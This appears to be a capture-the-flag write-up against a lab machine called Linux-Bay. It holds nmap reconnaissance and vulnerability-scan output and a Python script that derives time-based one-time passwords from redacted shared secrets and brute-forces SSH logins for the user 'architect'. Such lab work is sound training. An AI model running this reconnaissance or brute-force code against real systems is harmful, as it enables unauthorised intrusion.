sudo nmap --min-rate 10000 -p- 10.10.33.27 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 12:01 CST Warning: 10.10.33.27 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.33.27 (10.10.33.27) Host is up (0.30s latency). Not shown: 56561 closed tcp ports (reset), 8971 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 51.43 seconds
sudo nmap -sT -sV -sC -O -p22,80,3306 10.10.33.27 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 12:12 CST Nmap scan report for 10.10.33.27 (10.10.33.27) Host is up (0.24s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2c:54:c1:d0:05:91:e1:c0:98:e1:41:f2:b3:21:d9:6b (RSA) | 256 1e:ba:57:5f:29:8c:e4:7a:b4:e5:ac:ed:65:5d:8e:32 (ECDSA) |_ 256 7b:55:2f:23:68:08:1a:eb:90:72:43:66:e1:44:a1:9d (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Linux-Bay 3306/tcp open mysql MySQL 5.5.5-10.1.47-MariaDB-0ubuntu0.18.04.1 | mysql-info: | Protocol: 10 | Version: 5.5.5-10.1.47-MariaDB-0ubuntu0.18.04.1 | Thread ID: 109 | Capabilities flags: 63487 | Some Capabilities: Support41Auth, LongColumnFlag, Speaks41ProtocolOld, SupportsTransactions, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, FoundRows, Speaks41ProtocolNew, InteractiveClient, IgnoreSigpipes, ConnectWithDatabase, ODBCClient, LongPassword, SupportsCompression, DontAllowDatabaseTableColumn, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults | Status: Autocommit | Salt: ov#Et<j"f]!*L#ifEfQD |_ Auth Plugin Name: mysql_native_password Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.7 - 3.10 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.07 seconds
sudo nmap --script=vuln -p22,80,3306 10.10.33.27 Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 12:14 CST Nmap scan report for 10.10.33.27 (10.10.33.27) Host is up (0.27s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-phpself-xss: ERROR: Script execution failed (use -d to debug) | http-internal-ip-disclosure: |_ Internal IP Leaked: 10 |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-enum: | /admin/: Possible admin folder | /admin/index.php: Possible admin folder | /archive/: Potentially interesting folder | /cache/: Potentially interesting folder | /images/: Potentially interesting folder | /inc/: Potentially interesting folder | /install/: Potentially interesting folder |_ /uploads/: Potentially interesting folder | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.33.27 | Found the following possible CSRF vulnerabilities: | | Path: http://10.10.33.27:80/misc.php?action=help | Form id: | Form action: misc.php | | Path: http://10.10.33.27:80/search.php | Form id: author | Form action: search.php | | Path: http://10.10.33.27:80/member.php?action=register | Form id: |_ Form action: member.php 3306/tcp open mysql |_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 79.49 seconds
from datetime import datetime, timedelta from hashlib import sha256 import random from paramiko import SSHClient, AutoAddPolicy, AuthenticationException, ssh_exception import os import ntplib
def setTimeZone(self): try: print('[*] Setting timezone to UTC') print('[*] Before:') os.system('sudo timedatectl --value') os.system('sudo timedatectl set-timezone UTC') print('[+] Timezone has been changed to UTC') except: print('[-] Couldn\'t set the timezone to UTC') def syncTime(self): try: client = ntplib.NTPClient() client.request(self.targetIPAdress) #IP of linux-bay server print('[+] Synced to the time server') except: print('[-] Could not sync with time server') def TimeSet(self, country, hours, mins, seconds): now = datetime.now() + timedelta(hours=hours, minutes=mins) #time units: day, hour, minutes CurrentTime = int(now.strftime("%d%H%M")) return CurrentTime def getOTP(self): CA = self.TimeSet('Ukraine', 4, 43, 0) CB = self.TimeSet('Germany', 13, 55, 0) CC = self.TimeSet('England', 9, 19, 0) CD = self.TimeSet('Nigeria', 1, 6, 0) CE = self.TimeSet('Denmark', -5, 18, 0) listTimeSet = [CA, CB, CC, CD, CE] randomTimeSet = random.sample(listTimeSet, 3) # CTT = CA * CB * CC CTT = randomTimeSet[0] * randomTimeSet[1] * randomTimeSet[2] # UC = CTT XOR SST UC = CTT ^ random.choice(self.listSecret) # hash OTP HC = (sha256(repr(UC).encode('utf-8')).hexdigest()) # HC Truncate T = HC[22:44] SSHOTP = T return SSHOTP def bruteForceSSH(self, SSHUsername, OTP): print(f'[*] Trying SSH OTP: {OTP}', end='\r') sshClient = SSHClient() sshClient.set_missing_host_key_policy(AutoAddPolicy()) try: sshClient.connect(self.targetIPAdress, username=SSHUsername, password=OTP, banner_timeout=300) return True except AuthenticationException: # print(f'[-] Wrong OTP: {OTP}') pass except ssh_exception.SSHException: print('[*] Attempting to connect - Rate limiting on server')
def main(): #shared secret token for OTP calculation sharedSecret1 = {Redacted_SST_1} sharedSecret2 = {Redacted_SST_2} sharedSecret3 = {Redacted_SST_3} # Change to the machine's IP targetIPAdress = '10.10.95.198'
timeSimulatorClient = TimeSimulatorClient(sharedSecret1, sharedSecret2, sharedSecret3, targetIPAdress) # Change timezone & sync to the time server timeSimulatorClient.setTimeZone() timeSimulatorClient.syncTime() # Brute forcing SSH with computed OTP SSHUsername = 'architect' while True: OTP = timeSimulatorClient.getOTP() bruteForceResult = timeSimulatorClient.bruteForceSSH(SSHUsername, OTP) if bruteForceResult is True: print(f'[+] Found the correct OTP! {SSHUsername}:{OTP}') break
